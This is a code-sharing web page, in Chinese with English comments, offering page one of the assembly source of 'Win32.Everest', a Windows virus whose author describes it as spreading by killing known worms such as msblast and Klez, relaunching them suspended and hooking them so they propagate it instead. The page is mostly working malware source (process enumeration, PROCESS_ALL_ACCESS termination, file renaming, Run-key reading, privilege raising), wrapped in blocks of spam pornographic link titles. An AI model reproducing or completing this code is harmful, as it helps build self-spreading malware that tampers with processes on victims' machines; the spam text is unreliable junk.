亚洲欧美第一页_禁久久精品乱码_粉嫩av一区二区三区免费野_久草精品视频

? 歡迎來到蟲蟲下載站! | ?? 資源下載 ?? 資源專輯 ?? 關于我們
? 蟲蟲下載站

?? virus.c

?? 一個病毒原代碼,能夠利用其他病毒傳播
?? C
?? 第 1 頁 / 共 2 頁
字號:
 Win32.Everest
                 by pkxp/CVC
                  
 lemme introduce my Everest virus, the worlds first virus 
which spreads via other viruses. The idea came to my head when 
I was thinking about viruses in 2003. The virus itself is not 
big,and it's not complicated, I code it just to show something new.

Technical details:
 1. find a known virus 
 2. kill and move it
 3. run it in suspend mode and hook it's GetModuleNameFileA
 4. resume it
 5. if no more known viruses ,continue, else jump 1 
 6. read data from HKEY_LOCAL_MACHINE\Software\Microsoft\Windows\CurrentVersion\Run
 7. repeat 1,2,3,4,5
 8. sleep , then jump 1
 So when thonse viruses spread,what they are spreading is my Everest instead!
                                                  pkxp / CVC
                                    

.386 
.model  flat,stdcall 
option  casemap:none 
include useful.inc 
 
.code
main:        
       @pushsz  'Everest'
       push     FALSE
       push     NULL
       call     CreateMutex
       call     GetLastError            
       cmp      eax , ERROR_ALREADY_EXISTS
       jz       ExitVirus 
       call     EverestInit  

PatchFixedVirus:        
       mov      pMem , NULL                
       @pushsz  '\'
       push     offset  szWinPath
       push     offset  FixedVirus
call     PatchAllVirus
push     1000*60*30
call     Sleep
PatchRegRunVirus:
       Invoke   VirtualAlloc,0,4096,MEM_RESERVE or MEM_COMMIT,PAGE_READWRITE
       or       eax , eax
       jz       MainSleep                     
       mov      pMem , eax

       call     ReadRunKey            ;read data from run to pMem
       push     NULL
       push     NULL 
       push     pMem                    
       call     PatchAllVirus         ;no prefix
       
       push     MEM_RELEASE 
       push     0 
       push     pMem
       call     VirtualFree          
MainSleep:
push     1000*60*15           
call     Sleep
jmp      PatchFixedVirus      
ExitVirus:
       push     1
       call     ExitProcess

;--------------------------------------------------------------
EverestInit:        
       push MAX_PATH
push     offset szWormPath    
push 0
call     GetModuleFileNameA

push 50
push offset szWinPath       
call GetWindowsDirectoryA

push 50
push offset szSysPath       
call GetSystemDirectoryA
call     RaisePrivileges        
call     GetAPIz 
       ret
       
;---------------------------------------------------------------
PatchAllVirus   PROC   szVirusList : DWORD , szPrefix : DWORD , szPrefix2 : DWORD
       LOCAL   hProcess           : DWORD
       LOCAL   szVirusPath[128]   : BYTE
       LOCAL   szformatedPath[128]: BYTE
       
       mov     esi , szVirusList
       lea     edi , szVirusPath
PAVLoop:         
       push    esi
       push    szPrefix2
       push    szPrefix
       @pushsz '%s%s%s'
       push    edi
       call    wsprintf    
       add     esp , 20    

       mov     al , byte ptr[edi]
       or      al , al
       jz      PAVExit

       lea     eax , szformatedPath
       push    eax
       push    edi
       call    formatVirus
                                           
       lea     eax , szformatedPath
       push    eax     
       call    OpenNT4_2k_xp_2003Virus
       mov     hProcess , eax 
       
PAVNextName:
       lodsb
       or      al , al
       jnz     PAVNextName                        
       mov     eax , pMem
       .if     eax == 0
               lodsd          
       .else                  
               mov   eax , offset PatchVirus
       .endif 

       push    edi            
       push    hProcess       
       call    eax            
       
       mov     al , byte ptr[esi]
       or      al , al
       jnz     PAVLoop        
PAVExit:       
       ret     12
PatchAllVirus   ENDP   

;------------------------------------------------------------------
formatVirus     PROC  pVirusName:DWORD , pformatedName:DWORD
       pushad
       mov     esi , pVirusName
       mov     edi , pformatedName
FVCopy:        
       lodsb
       cmp     al , ' '
       jz      FVEndCopy
       or      al , al
       jz      FVEndCopy        
       stosb
       jmp     FVCopy
FVEndCopy:
       xor     al , al
       stosb
       popad
       ret     8
formatVirus     ENDP        

;------------------------------------------------------------------     
FixedVirus:                           
       db      'system32\msblast.exe',0   ;msblast
       dd      offset PatchVirus
        
       db      'Videodrv.exe',0           ;Mimail
       dd      offset PatchVirus
       
       db      'system32\runouce.exe',0   ;ChineseHack
       dd      offset PatchVirus
       
       db      'system32\gone.scr',0      
       dd      offset PatchVirus
               
       db      'system32\hfind.exe',0      ;muma
       dd      offset PatchVirus
                               
       db      'system32\scam32.exe',0     ;sircam
       dd      offset PatchVirus
       
       db      'killonce.exe',0            
       dd      offset PatchVirus
       
       db      'system32\wins\DLLHOST.exe',0
       dd      offset PatchVirus
       
       db      'system32\Ravmond.exe',0   ;Lovgate
       dd      offset PatchVirus                      
       db      'system32\WinGate.exe',0       
       dd      offset PatchVirus                      
       db      'system32\WinDriver.exe',0  
       dd      offset PatchVirus              
       db      'system32\Winrpc.exe',0  
       dd      offset PatchVirus                      
       db      'system32\Winhelp.exe',0
       dd      offset PatchVirus
       db      'system32\Iexplore.exe',0  
       dd      offset PatchVirus                      
       db      'system32\NetServices.exe',0
       dd      offset PatchVirus                      
       db      'system32\winexe.exe',0
       dd      offset PatchVirus              
               
       db      'mmc.exe',0             ;nimda
       dd      offset PatchVirus
       
       db      'system32\load.exe',0 
       dd      offset PatchVirus
               
       db      'system32\wqk.exe',0     ;Klez
       dd      offset PatchVirus
       db      'system32\krn132.exe',0
       dd      offset PatchVirus     
                        
       
       db      'ParticularViruses',0
       dd      offset ParticularVirus
       db      0                             ;End of virus list     
       
;-------------------------------------------------------------------
OpenNT4_2k_xp_2003Virus PROC szVirusName : DWORD
       LOCAL   hProcess                 : DWORD
       LOCAL   hMods                    : DWORD        
       LOCAL   szProcessName[MAX_PATH]  : BYTE             
  LOCAL   ProcessIds[128+1]        : DWORD
       
       pushad                        
       push    szVirusName        
       push    offset szWormPath
       call    lstrcmpi
       jz      OVFailExit
       
       lea     esi , ProcessIds        
       push    (128+1)*4        
  push    esi
call    RtlZeroMemory        
push    offset tmp
push    128*4              ;*4
push    esi
       moveax,12345678h
_EnumProcesses  = dword ptr $-4
call    eax                ;enumerate all running processes
dec     eax
jne     OVFailExit
add     esi,4              ;esi->ProcessIDs[128]
ProcessSearch:
       lodsd                      ;get PID
       or      eax , eax
       jz      OVFailExit
       
       push    eax                
       push    FALSE
       push    PROCESS_ALL_ACCESS
       call    OpenProcess
       or      eax , eax
       jz      ProcessSearch              
       mov     hProcess , eax

       lea     eax , hMods                
       push    offset tmp
       push    4
       push    eax
       push    hProcess
       mov     eax , 12345678h
_EnumProcessModules = dword ptr $-4
       call    eax                     
       or      eax , eax
       jz      OVClose
          
       lea     edi , szProcessName
       push    MAX_PATH
       push    edi
       push    hMods
       push    hProcess
       mov     eax , 12345678h
_GetModuleFileNameEx = dword ptr $-4
       call    eax                     
       or      eax , eax
       jz      OVClose
       
IsVirus:                     
       
       push    szVirusName
       push    edi        
       call    lstrcmpi
       jz      OVSucExit
OVClose:                    
       push    hProcess
       call    CloseHandle                
       jmp     ProcessSearch
       
OVFailExit:  
       popad
       xor     eax , eax
       ret     4        
OVSucExit:           
       popad              
       mov     eax , hProcess        
       ret     4
OpenNT4_2k_xp_2003Virus  ENDP        

;---------------------------------------------------------------
PatchVirus      PROC   hProcess    : DWORD , szVirusPath : DWORD
       LOCAL   szDestPath[128]    : BYTE
       LOCAL   szformatedPath[128]: BYTE
             
       pushad                                                         
       mov     eax , hProcess
       or      eax , eax
       jz      PVMoveVirus                            
       push    0
       push    hProcess
       call    TerminateProcess                
       push    INFINITE
       push    hProcess
       call    WaitForSingleObject              
       
       push    hProcess
       call    CloseHandle   
PVMoveVirus:          
       lea     esi , szformatedPath
       push    esi
       push    szVirusPath
       call    formatVirus
       
       lea     edi , szDestPath
       push    esi
       push    edi
       call    lstrcpy

       @pushsz '.scr'
       push    edi                
       call    lstrcat
       
       push    edi
       push    esi
       call    MoveFile         

       push    esi
       call    lstrlen        
       
       mov     esi , szVirusPath
       add     esi , eax                
       push    esi
       push    edi
       call    lstrcat

       push    edi
       call    StartVirus
       popad
       ret     8
PatchVirus      ENDP                

;-------------------------------------------------------------------
ParticularVirus:
       ret     8
       
;-------------------------------------------------------------------         

?? 快捷鍵說明

復制代碼 Ctrl + C
搜索代碼 Ctrl + F
全屏模式 F11
切換主題 Ctrl + Shift + D
顯示快捷鍵 ?
增大字號 Ctrl + =
減小字號 Ctrl + -
亚洲欧美第一页_禁久久精品乱码_粉嫩av一区二区三区免费野_久草精品视频
亚洲第一会所有码转帖| 国产xxx精品视频大全| 国产在线精品一区二区三区不卡| 欧美亚洲国产bt| 91精品国产一区二区三区| 国产精品亲子乱子伦xxxx裸| 蜜桃视频在线一区| 欧美视频在线一区二区三区| 欧美国产丝袜视频| 国产一区二区三区免费播放| 欧美人xxxx| 亚洲综合久久av| av高清不卡在线| 欧美精彩视频一区二区三区| 捆绑变态av一区二区三区| 在线免费亚洲电影| 最近中文字幕一区二区三区| 国产成人午夜视频| 亚洲精品一区二区三区福利| 日本中文在线一区| 欧美日韩一本到| 亚洲一区二区三区在线| 99免费精品在线| 国产精品色婷婷久久58| 国产+成+人+亚洲欧洲自线| 精品三级在线观看| 麻豆成人久久精品二区三区小说| 9191国产精品| 亚洲444eee在线观看| 欧美日韩中文字幕一区| 洋洋av久久久久久久一区| 91捆绑美女网站| 亚洲乱码国产乱码精品精98午夜| 成人网页在线观看| 自拍av一区二区三区| 色欧美片视频在线观看在线视频| 成人免费在线观看入口| 91视频一区二区三区| 亚洲色图一区二区| 色欧美乱欧美15图片| 亚洲国产视频网站| 91精品国产高清一区二区三区| 视频一区欧美日韩| 日韩视频中午一区| 国产精品一区一区| 中文字幕欧美一区| 欧美性猛交xxxx黑人交| 日韩电影在线观看电影| 精品国产在天天线2019| 粉嫩aⅴ一区二区三区四区 | 欧美久久免费观看| 免费在线观看日韩欧美| 欧美激情艳妇裸体舞| 97久久超碰精品国产| 亚洲国产精品欧美一二99| 91麻豆精品国产91久久久久久 | 欧美成人三级电影在线| 国产乱码一区二区三区| 亚洲丝袜精品丝袜在线| 717成人午夜免费福利电影| 久久99精品国产麻豆婷婷洗澡| 国产日韩欧美麻豆| 色av综合在线| 国产中文字幕一区| 亚洲人成网站影音先锋播放| 7777精品伊人久久久大香线蕉的| 国产精品一区久久久久| 一区二区三区视频在线观看| 日韩午夜精品电影| 91高清视频免费看| 精品一区二区三区免费| 一区二区三区在线高清| 久久久午夜精品理论片中文字幕| 99国产精品久久久久久久久久久| 日韩高清欧美激情| 亚洲日本护士毛茸茸| 日韩欧美的一区二区| 一本到高清视频免费精品| 久久精品久久综合| 一区二区不卡在线播放| 久久久久久久久久久久电影 | 成人国产电影网| 日韩福利电影在线观看| 国产精品美女一区二区三区| 日韩视频一区在线观看| 在线观看日韩电影| 成人国产在线观看| 国产一区二区成人久久免费影院| 亚洲国产精品自拍| 男人的天堂亚洲一区| 亚洲精品免费在线观看| 国产日韩影视精品| 欧美精品一区二区三区很污很色的 | 国产欧美日韩卡一| 日韩精品一区二区三区三区免费| 色成年激情久久综合| 大胆亚洲人体视频| 国产精品99精品久久免费| 青青草成人在线观看| 亚洲一区二区三区四区在线 | 亚洲午夜在线视频| 国产精品传媒入口麻豆| 国产视频在线观看一区二区三区 | 日本大胆欧美人术艺术动态| 一区二区视频在线看| 亚洲欧美自拍偷拍| 国产精品家庭影院| 国产精品久久久久久久久图文区 | 粉嫩av一区二区三区| 国产麻豆精品theporn| 精品制服美女丁香| 久久精品国产亚洲a| 卡一卡二国产精品| 九九九精品视频| 国产一区二区三区国产| 国产一区二区伦理片| 国产成人自拍高清视频在线免费播放 | 国产精品69毛片高清亚洲| 精久久久久久久久久久| 国产在线视视频有精品| 精品无人区卡一卡二卡三乱码免费卡| 蜜桃久久久久久| 狠狠狠色丁香婷婷综合久久五月| 久久99国产精品尤物| 国产一区91精品张津瑜| 成人网男人的天堂| 99re这里只有精品视频首页| 日韩欧美电影在线| 精品国产乱码久久久久久浪潮| 精品国产欧美一区二区| 国产日韩欧美高清在线| 国产精品乱码久久久久久| 亚洲免费观看高清完整版在线| 一区二区三区在线视频播放| 五月婷婷久久丁香| 精品一区二区三区av| 国产精品18久久久久久久久 | 欧美丰满少妇xxxbbb| 日韩欧美在线观看一区二区三区| 久久综合久久99| 中文字幕日韩精品一区| 偷拍一区二区三区| 国产美女av一区二区三区| 不卡高清视频专区| 欧美精选在线播放| 精品日韩欧美在线| 1000精品久久久久久久久| 同产精品九九九| 国产精品香蕉一区二区三区| 欧美综合久久久| 久久久亚洲欧洲日产国码αv| 亚洲欧美日韩人成在线播放| 日本视频在线一区| 99久久99久久精品国产片果冻| 欧美日韩国产成人在线免费| 久久女同性恋中文字幕| 艳妇臀荡乳欲伦亚洲一区| 老司机午夜精品99久久| 日本久久电影网| 久久久久免费观看| 午夜精品久久久久久久蜜桃app| 韩国中文字幕2020精品| 欧美性猛片xxxx免费看久爱| 国产亚洲女人久久久久毛片| 午夜精品福利久久久| 成人aa视频在线观看| 欧美不卡在线视频| 亚洲一区免费观看| 国产成人自拍在线| 日韩精品中午字幕| 亚洲高清免费观看高清完整版在线观看 | 亚洲一级在线观看| 不卡视频在线观看| 久久久国产精品麻豆| 欧美aⅴ一区二区三区视频| 91麻豆国产福利精品| 中文一区二区完整视频在线观看| 日韩黄色免费网站| 在线观看av一区二区| 亚洲天天做日日做天天谢日日欢| 国产一区二区免费看| 日韩欧美国产系列| 蜜臀精品一区二区三区在线观看| 91高清视频免费看| 综合欧美亚洲日本| fc2成人免费人成在线观看播放| 精品人在线二区三区| 免费看欧美美女黄的网站| 911精品国产一区二区在线| 亚洲午夜影视影院在线观看| 一本色道久久综合亚洲91| 国产精品私人自拍| 成人综合在线观看| 国产日韩欧美a| 国产乱淫av一区二区三区| 久久先锋影音av| 国产福利视频一区二区三区| 精品成a人在线观看| 国产一区二区三区免费| 久久婷婷国产综合国色天香|